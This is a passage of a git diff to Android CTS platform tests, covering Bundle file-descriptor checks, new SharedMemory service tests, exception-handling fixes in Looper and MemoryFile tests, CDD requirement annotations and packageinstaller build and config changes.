+ assertHasFd(buildBundle("a", 1, buildBundle(new Parcelable[]{fd})));
+ assertNotHaveFd(buildBundle("a", 1, buildBundle(1)));
+
+ Bundle nested1 = buildBundle(fd, buildBundle(1));
+ assertHasFd(nested1); // Outer bundle has an FD.
+ assertNotHaveFd(nested1.getParcelable("key-1")); // But inner bundle doesn't.
+
+ Bundle nested2 = buildBundle(1, buildBundle(fd));
+ assertHasFd(nested2);
+ assertHasFd(nested2.getParcelable("key-1"));
+
+ // More tricky case. Create a parcel with mixed objects.
+ Parcel p = Parcel.obtain();
+ p.writeParcelable(fd, 0);
+ p.writeInt(123);
+ p.writeParcelable(buildBundle(1), 0);
+
+ // Now the parcel has an FD.
+ p.setDataPosition(0);
+ assertTrue(p.hasFileDescriptors());
+
+ // Note even though the entire parcel has an FD, the inner bundle doesn't.
+ assertEquals(ParcelFileDescriptor.class,
+ p.readParcelable(getClass().getClassLoader()).getClass());
+ assertEquals(123, p.readInt());
+ assertNotHaveFd(p.readParcelable(Bundle.class.getClassLoader()));
+ } finally {
+ pipe[0].close();
+ pipe[1].close();
+ }
+ }
+
+ /** Create a Bundle with values, with autogenerated keys. */
+ private static Bundle buildBundle(Object... values) {
+ final Bundle result = new Bundle();
+
+ for (int i = 0; i < values.length; i++) {
+ final String key = "key-" + i;
+
+ final Object value = values[i];
+ if (value == null) {
+ result.putString(key, null);
+
+ } else if (value instanceof String) {
+ result.putString(key, (String) value);
+
+ } else if (value instanceof Integer) {
+ result.putInt(key, (Integer) value);
+
+ } else if (value instanceof Parcelable) {
+ result.putParcelable(key, (Parcelable) value);
+
+ } else if (value instanceof Parcelable[]) {
+ result.putParcelableArray(key, (Parcelable[]) value);
+
+ } else {
+ fail("Unsupported value type: " + value.getClass());
+ }
+ }
+ return result;
+ }
+
+ private static Bundle cloneBundle(Bundle b) {
+ return new Bundle(b);
+ }
+
+ private static Bundle cloneBundleViaParcel(Bundle b) {
+ final Parcel p = Parcel.obtain();
+ try {
+ p.writeParcelable(b, 0);
+
+ p.setDataPosition(0);
+
+ return p.readParcelable(Bundle.class.getClassLoader());
+ } finally {
+ p.recycle();
+ }
+ }
+
+ private static void assertHasFd(Bundle b) {
+ assertTrue(b.hasFileDescriptors());
+
+ // Make sure cloned ones have the same result.
+ assertTrue(cloneBundle(b).hasFileDescriptors());
+ assertTrue(cloneBundleViaParcel(b).hasFileDescriptors());
+ }
+
+ private static void assertNotHaveFd(Bundle b) {
+ assertFalse(b.hasFileDescriptors());
+
+ // Make sure cloned ones have the same result.
+ assertFalse(cloneBundle(b).hasFileDescriptors());
+ assertFalse(cloneBundleViaParcel(b).hasFileDescriptors());
+ }
+
class MockClassLoader extends ClassLoader {
MockClassLoader() {
super();
}
}
-}
+}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java b/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
index 626ecf8..1625e32 100644
--- a/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
@@ -25,7 +25,6 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.CpuFeatures;
import junit.framework.TestCase;
@@ -98,7 +97,6 @@
features.contains(feature));
}
- @CddTest(requirement="3.3.1/C-0-6,3.3.2/C-2-1")
public void testArmCpuinfo() throws IOException {
if (!CpuFeatures.isArmCpu())
return;
diff --git a/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java b/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
index 606e222..780be99 100644
--- a/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
+++ b/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
@@ -20,7 +20,6 @@
import android.os.cts.CpuInstructions;
import com.android.compatibility.common.util.CpuFeatures;
-import com.android.compatibility.common.util.CddTest;
import junit.framework.TestCase;
@@ -35,7 +34,6 @@
CpuInstructions.canReadCntvct());
}
- @CddTest(requirement="3.3.2/C-1-1")
public void testEmulatedArmCpuFeatures() {
if (!CpuFeatures.isArm64CpuIn32BitMode()) {
return;
diff --git a/tests/tests/os/src/android/os/cts/FileAccessPermissionTest.java b/tests/tests/os/src/android/os/cts/FileAccessPermissionTest.java
index cd89e3d..98df29b 100644
--- a/tests/tests/os/src/android/os/cts/FileAccessPermissionTest.java
+++ b/tests/tests/os/src/android/os/cts/FileAccessPermissionTest.java
@@ -19,6 +19,8 @@
import android.os.Environment;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.io.FileInputStream;
import java.io.FilenameFilter;
@@ -44,6 +46,7 @@
*
* TODO: Combine this file with {@link android.permission.cts.FileSystemPermissionTest}
*/
+@CddTest(requirement="9.3/C-0-1")
public class FileAccessPermissionTest extends AndroidTestCase {
/**
diff --git a/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl b/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl
new file mode 100644
index 0000000..651c62a
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.os.SharedMemory;
+
+interface ISharedMemoryService {
+ void setup(in SharedMemory memory, int prot);
+ byte read(int index);
+ void write(int index, byte value);
+}
diff --git a/tests/tests/os/src/android/os/cts/LooperTest.java b/tests/tests/os/src/android/os/cts/LooperTest.java
index c0a176c..b89f590 100644
--- a/tests/tests/os/src/android/os/cts/LooperTest.java
+++ b/tests/tests/os/src/android/os/cts/LooperTest.java
@@ -97,11 +97,15 @@
public void testMyQueue() throws Throwable {
TestThread t = new TestThread(new Runnable() {
public void run() {
+ boolean didThrow = false;
try {
assertNull(Looper.myQueue());
- fail("should throw exception");
} catch (Throwable e) {
// expected
+ didThrow = true;
+ }
+ if (!didThrow) {
+ fail("should throw exception");
}
Looper.prepare();
MessageQueue mq = Looper.myQueue();
@@ -132,7 +136,7 @@
try {
Looper.prepare();
fail("should throw exception");
- } catch (Throwable e) {
+ } catch (Exception e) {
//expected
}
}
@@ -147,7 +151,7 @@
try {
Looper.prepareMainLooper();
fail("should throw exception because the main thread was already prepared");
- } catch (Throwable e) {
+ } catch (Exception e) {
//expected
}
}
diff --git a/tests/tests/os/src/android/os/cts/MemoryFileTest.java b/tests/tests/os/src/android/os/cts/MemoryFileTest.java
index def73b2..6e6eba8 100644
--- a/tests/tests/os/src/android/os/cts/MemoryFileTest.java
+++ b/tests/tests/os/src/android/os/cts/MemoryFileTest.java
@@ -56,7 +56,7 @@
byte[] data = new byte[512];
mMemoryFile.writeBytes(data, srcOffset, destOffset, count);
fail("MemoryFile should throw IndexOutOfBoundsException here.");
- } catch (IndexOutOfBoundsException e) {
+ } catch (IndexOutOfBoundsException | IllegalArgumentException e) {
// expected
}
}
@@ -101,13 +101,10 @@
mMemoryFile = new MemoryFile("Test File", 512);
assertEquals(512, mMemoryFile.length());
- mMemoryFile = new MemoryFile("Test File", 0);
- assertEquals(0, mMemoryFile.length());
-
try {
mMemoryFile = new MemoryFile("Test File", -512);
fail();
- } catch (IOException expected) {
+ } catch (IOException | IllegalArgumentException expected) {
}
}
@@ -142,7 +139,7 @@
byte[] data = new byte[512];
mMemoryFile.readBytes(data, srcOffset, destOffset, count);
fail("MemoryFile should throw IndexOutOfBoundsException here.");
- } catch (IndexOutOfBoundsException e) {
+ } catch (IndexOutOfBoundsException | IllegalArgumentException e) {
// expected
}
}
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 7c5b655..4679a99 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -117,8 +117,6 @@
assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
data = new byte[] { 0, 1, 2, 3 };
assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
- data = new byte[0];
- assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
// Check that modifying the data does not modify the data in the FD
data = new byte[] { 0, 1, 2, 3 };
diff --git a/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java b/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
index a643fc6..639493a 100644
--- a/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
+++ b/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
@@ -19,6 +19,7 @@
import android.content.Context;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
+import android.os.SystemClock;
import android.test.AndroidTestCase;
public class PowerManager_WakeLockTest extends AndroidTestCase {
@@ -66,4 +67,14 @@
Thread.sleep(PowerManagerTest.TIME + PowerManagerTest.MORE_TIME);
assertFalse(wl.isHeld());
}
+
+ public void testWakeLockTimeout() throws Exception {
+ final PowerManager pm = getContext().getSystemService(PowerManager.class);
+
+ final WakeLock lock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, TAG);
+ lock.acquire(2000);
+ SystemClock.sleep(4000);
+
+ lock.release();
+ }
}
diff --git a/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java b/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
index 0dbe072..378ac09 100644
--- a/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
+++ b/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
@@ -30,8 +30,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.compatibility.common.util.CddTest;
-
import java.io.File;
import java.util.List;
@@ -65,7 +63,6 @@
}
}
- @CddTest(requirement="3.1.1/C-0-1")
@Test
public void testExtServicesPresent() throws Exception {
enforceSharedLibPresentAndProperlyHosted(
@@ -74,7 +71,6 @@
ApplicationInfo.PRIVATE_FLAG_PRIVILEGED);
}
- @CddTest(requirement="3.1.1/C-0-1")
@Test
public void testSharedServicesPresent() throws Exception {
enforceSharedLibPresentAndProperlyHosted(
diff --git a/tests/tests/os/src/android/os/cts/SeccompTest.java b/tests/tests/os/src/android/os/cts/SeccompTest.java
index ab8958e..39c6b9c 100644
--- a/tests/tests/os/src/android/os/cts/SeccompTest.java
+++ b/tests/tests/os/src/android/os/cts/SeccompTest.java
@@ -34,6 +34,7 @@
import android.util.Log;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.CpuFeatures;
import com.google.common.util.concurrent.AbstractFuture;
@@ -47,6 +48,7 @@
import java.util.concurrent.TimeoutException;
import java.util.Date;
+@CddTest(requirement="9.7/C-0-6")
public class SeccompTest extends AndroidTestCase {
final static String TAG = "SeccompTest";
diff --git a/tests/tests/os/src/android/os/cts/SharedMemoryService.java b/tests/tests/os/src/android/os/cts/SharedMemoryService.java
new file mode 100644
index 0000000..fcc38d5
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/SharedMemoryService.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.SharedMemory;
+import android.system.ErrnoException;
+
+import java.nio.ByteBuffer;
+
+public class SharedMemoryService extends Service {
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new SharedMemoryServiceImpl();
+ }
+
+ private static class SharedMemoryServiceImpl extends ISharedMemoryService.Stub {
+ private SharedMemory mSharedMemory;
+ private ByteBuffer mMappedBuffer;
+
+ @Override
+ public void setup(SharedMemory memory, int prot) throws RemoteException {
+ mSharedMemory = memory;
+ try {
+ mMappedBuffer = mSharedMemory.map(prot, 0, mSharedMemory.getSize());
+ } catch (ErrnoException ex) {
+ throw new RuntimeException(ex);
+ }
+ }
+
+ @Override
+ public byte read(int index) throws RemoteException {
+ // Although we expect only one client we need to insert memory barriers to ensure
+ // visibility
+ synchronized (mMappedBuffer) {
+ return mMappedBuffer.get(index);
+ }
+ }
+
+ @Override
+ public void write(int index, byte value) throws RemoteException {
+ // Although we expect only one client we need to insert memory barriers to ensure
+ // visibility
+ synchronized (mMappedBuffer) {
+ mMappedBuffer.put(index, value);
+ }
+ }
+ }
+}
diff --git a/tests/tests/os/src/android/os/cts/SharedMemoryTest.java b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
new file mode 100644
index 0000000..f21b095
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static android.support.test.InstrumentationRegistry.getContext;
+import static android.system.OsConstants.PROT_READ;
+import static android.system.OsConstants.PROT_WRITE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.SharedMemory;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.ErrnoException;
+import android.system.OsConstants;
+
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.nio.ReadOnlyBufferException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SharedMemoryTest {
+
+ static {
+ System.loadLibrary("ctsos_jni");
+ }
+
+ private Instrumentation mInstrumentation;
+ private Intent mRemoteIntent;
+ private PeerConnection mRemoteConnection;
+ private ISharedMemoryService mRemote;
+
+ public static class PeerConnection extends AbstractFuture<ISharedMemoryService>
+ implements ServiceConnection {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(ISharedMemoryService.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public ISharedMemoryService get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ final Context context = mInstrumentation.getContext();
+ // Bring up both remote processes and wire them to each other
+ mRemoteIntent = new Intent();
+ mRemoteIntent.setComponent(new ComponentName(
+ "android.os.cts", "android.os.cts.SharedMemoryService"));
+ mRemoteConnection = new PeerConnection();
+ getContext().bindService(mRemoteIntent, mRemoteConnection,
+ Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ mRemote = mRemoteConnection.get();
+ }
+
+ @After
+ public void tearDown() {
+ final Context context = mInstrumentation.getContext();
+ context.unbindService(mRemoteConnection);
+ }
+
+ @Test
+ public void testReadWrite() throws RemoteException, ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ ByteBuffer buffer = sharedMemory.mapReadWrite();
+ mRemote.setup(sharedMemory, PROT_READ | PROT_WRITE);
+
+ byte expected = 5;
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ // Memory barrier
+ synchronized (sharedMemory) {}
+ assertEquals(expected, mRemote.read(0));
+ expected = 10;
+ mRemote.write(0, expected);
+ // Memory barrier
+ synchronized (sharedMemory) {}
+ assertEquals(expected, buffer.get(0));
+ SharedMemory.unmap(buffer);
+ }
+ }
+
+ @Test
+ public void testReadOnly() throws RemoteException, ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ ByteBuffer buffer = sharedMemory.mapReadWrite();
+ sharedMemory.setProtect(PROT_READ);
+ mRemote.setup(sharedMemory, PROT_READ);
+
+ byte expected = 15;
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ // Memory barrier
+ synchronized (sharedMemory) {}
+ assertEquals(expected, mRemote.read(0));
+ expected = 20;
+ try {
+ mRemote.write(0, expected);
+ fail("write shouldn't have worked, should be read only");
+ } catch (Exception e) {}
+
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ // Memory barrier
+ synchronized (sharedMemory) {}
+ assertEquals(expected, mRemote.read(0));
+ }
+ }
+
+ @Test
+ public void testUseAfterClose() throws RemoteException, ErrnoException {
+ ByteBuffer buffer;
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ buffer = sharedMemory.mapReadWrite();
+ mRemote.setup(sharedMemory, PROT_READ | PROT_WRITE);
+ }
+ byte expected = 5;
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ // Memory barrier
+ synchronized (buffer) {}
+ assertEquals(expected, mRemote.read(0));
+ expected = 10;
+ mRemote.write(0, expected);
+ // Memory barrier
+ synchronized (buffer) {}
+ assertEquals(expected, buffer.get(0));
+ SharedMemory.unmap(buffer);
+ }
+
+ @Test
+ public void testUseAfterUnmap() throws RemoteException, ErrnoException {
+ SharedMemory sharedMemory = SharedMemory.create(null, 1);
+ ByteBuffer buffer = sharedMemory.mapReadWrite();
+ byte expected = 5;
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ SharedMemory.unmap(buffer);
+ boolean failed = false;
+ try {
+ buffer.get(0);
+ failed = true;
+ } catch (Throwable t) { }
+ assertFalse(failed);
+ }
+
+ private static native boolean nWriteByte(SharedMemory memory, int index, byte value);
+
+ @Test
+ public void testNdkInterop() throws ErrnoException {
+ SharedMemory sharedMemory = SharedMemory.create("hello", 1024);
+ ByteBuffer buffer = sharedMemory.mapReadWrite();
+ assertEquals(0, buffer.get(0));
+ assertTrue(nWriteByte(sharedMemory, 0, (byte) 1));
+ assertEquals(1, buffer.get(0));
+ sharedMemory.close();
+ buffer.put(0, (byte) 5);
+ assertFalse(nWriteByte(sharedMemory, 0, (byte) 2));
+ assertEquals(5, buffer.get(0));
+ }
+
+ @Test(expected=IllegalArgumentException.class)
+ public void testInvalidCreate() throws ErrnoException {
+ SharedMemory.create(null, -1);
+ }
+
+ @Test(expected=IllegalArgumentException.class)
+ public void testInvalidMapProt() throws ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ sharedMemory.map(-1, 0, 1);
+ }
+ }
+
+ @Test(expected=IllegalArgumentException.class)
+ public void testInvalidSetProt() throws ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ sharedMemory.setProtect(-1);
+ }
+ }
+
+ @Test
+ public void testSetProtAddProt() throws ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ assertTrue(sharedMemory.setProtect(OsConstants.PROT_READ));
+ assertTrue(sharedMemory.setProtect(OsConstants.PROT_READ));
+ assertFalse(sharedMemory.setProtect(OsConstants.PROT_READ | OsConstants.PROT_WRITE));
+ assertTrue(sharedMemory.setProtect(OsConstants.PROT_NONE));
+ assertFalse(sharedMemory.setProtect(OsConstants.PROT_READ));
+ }
+ }
+
+ @Test(expected=IllegalStateException.class)
+ public void testMapAfterClose() throws ErrnoException {
+ SharedMemory sharedMemory = SharedMemory.create(null, 1);
+ sharedMemory.close();
+ sharedMemory.mapReadWrite();
+ }
+
+ @Test(expected=ReadOnlyBufferException.class)
+ public void testWriteToReadOnly() throws ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ sharedMemory.setProtect(PROT_READ);
+ ByteBuffer buffer = null;
+ try {
+ buffer = sharedMemory.mapReadWrite();
+ fail("Should have thrown an exception");
+ } catch (ErrnoException ex) {
+ assertEquals(OsConstants.EPERM, ex.errno);
+ }
+ buffer = sharedMemory.mapReadOnly();
+ assertTrue(buffer.isReadOnly());
+ buffer.put(0, (byte) 0);
+ }
+ }
+}
diff --git a/tests/tests/os/src/android/os/cts/WorkSourceTest.java b/tests/tests/os/src/android/os/cts/WorkSourceTest.java
index f3986b1..ff9d693 100644
--- a/tests/tests/os/src/android/os/cts/WorkSourceTest.java
+++ b/tests/tests/os/src/android/os/cts/WorkSourceTest.java
@@ -19,6 +19,8 @@
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
+import java.util.Arrays;
+
import android.os.WorkSource;
import android.test.AndroidTestCase;
@@ -142,7 +144,7 @@
fail(op + ": WorkSource is not null " + ws +", but expected null");
}
if (uids != null) {
- fail(op + "WorkSource is null, but expected non-null: " + uids);
+ fail(op + "WorkSource is null, but expected non-null: " + Arrays.toString(uids));
}
return;
}
@@ -162,7 +164,7 @@
fail(op + ": WorkSource is not null " + ws +", but expected null");
}
if (uids != null) {
- fail(op + "WorkSource is null, but expected non-null: " + uids);
+ fail(op + "WorkSource is null, but expected non-null: " + Arrays.toString(uids));
}
return;
}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index a77f0c9..adf0b2b 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -26,11 +26,16 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test android-support-v4
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ub-uiautomator \
+ android-support-test \
+ android-support-v4 \
+ legacy-android-test \
+ compatibility-device-util
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
index 17f97fe..55d0c3a 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
@@ -28,6 +28,8 @@
import android.os.UserManager;
import android.text.TextUtils;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -49,6 +51,7 @@
mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class);
}
+ @CddTest(requirement="3.2.3.4/C-0-1")
public void testBroadcastNotReceivedForDifferentLauncher() throws Exception {
if (!mHasFeature) {
return;
@@ -85,6 +88,7 @@
assertEquals(TEST_APP_PKG, info.getAppPackageName());
}
+ @CddTest(requirement="3.2.3.4/C-0-1")
public void testBroadcastReceivedForNewInstall() throws Exception {
if (!mHasFeature) {
return;
@@ -107,6 +111,7 @@
setLauncher(mDefaultLauncher.flattenToString());
}
+ @CddTest(requirement="3.2.3.4/C-0-1")
public void testBroadcastReceivedForEnablingApp() throws Exception {
if (!mHasFeature || !UserManager.supportsMultipleUsers()) {
return;
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.mk b/tests/tests/packageinstaller/emptytestapp/Android.mk
index c621852..d098318 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.mk
+++ b/tests/tests/packageinstaller/emptytestapp/Android.mk
@@ -25,6 +25,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/externalsources/Android.mk b/tests/tests/packageinstaller/externalsources/Android.mk
index 805385a..d647738 100755
--- a/tests/tests/packageinstaller/externalsources/Android.mk
+++ b/tests/tests/packageinstaller/externalsources/Android.mk
@@ -22,8 +22,6 @@
LOCAL_PACKAGE_NAME := CtsExternalSourcesTestCases
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
-
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test android-support-v4
@@ -31,7 +29,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
index 33d1d6e..8bcdd04 100755
--- a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
@@ -21,13 +21,6 @@
<application android:label="Cts External Sources Test">
<uses-library android:name="android.test.runner"/>
- <provider android:authorities="android.packageinstaller.externalsources.cts.fileprovider"
- android:name="android.support.v4.content.FileProvider"
- android:grantUriPermissions="true">
- <meta-data
- android:name="android.support.FILE_PROVIDER_PATHS"
- android:resource="@xml/file_paths" />
- </provider>
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/packageinstaller/externalsources/AndroidTest.xml b/tests/tests/packageinstaller/externalsources/AndroidTest.xml
index 39d2d67..2d782d8 100644
--- a/tests/tests/packageinstaller/externalsources/AndroidTest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidTest.xml
@@ -17,16 +17,6 @@
<configuration description="Config for CTS External Sources test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/cts/externalsources" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <option name="push" value="CtsEmptyTestApp.apk->/data/local/tmp/cts/externalsources/CtsEmptyTestApp.apk" />
- </target_preparer>
-
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsExternalSourcesTestCases.apk" />
@@ -34,7 +24,7 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.packageinstaller.externalsources.cts" />
- <option name="runtime-hint" value="1m" />
+ <option name="runtime-hint" value="10s" />
</test>
</configuration>
diff --git a/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml b/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml
deleted file mode 100644
index 173435b..0000000
--- a/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<paths xmlns:android="http://schemas.android.com/apk/res/android">
- <files-path name="apk" path="/" />
-</paths>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index e10e278..921f5f1 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -15,122 +15,41 @@
*/
package android.packageinstaller.externalsources.cts;
-import android.app.Instrumentation;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
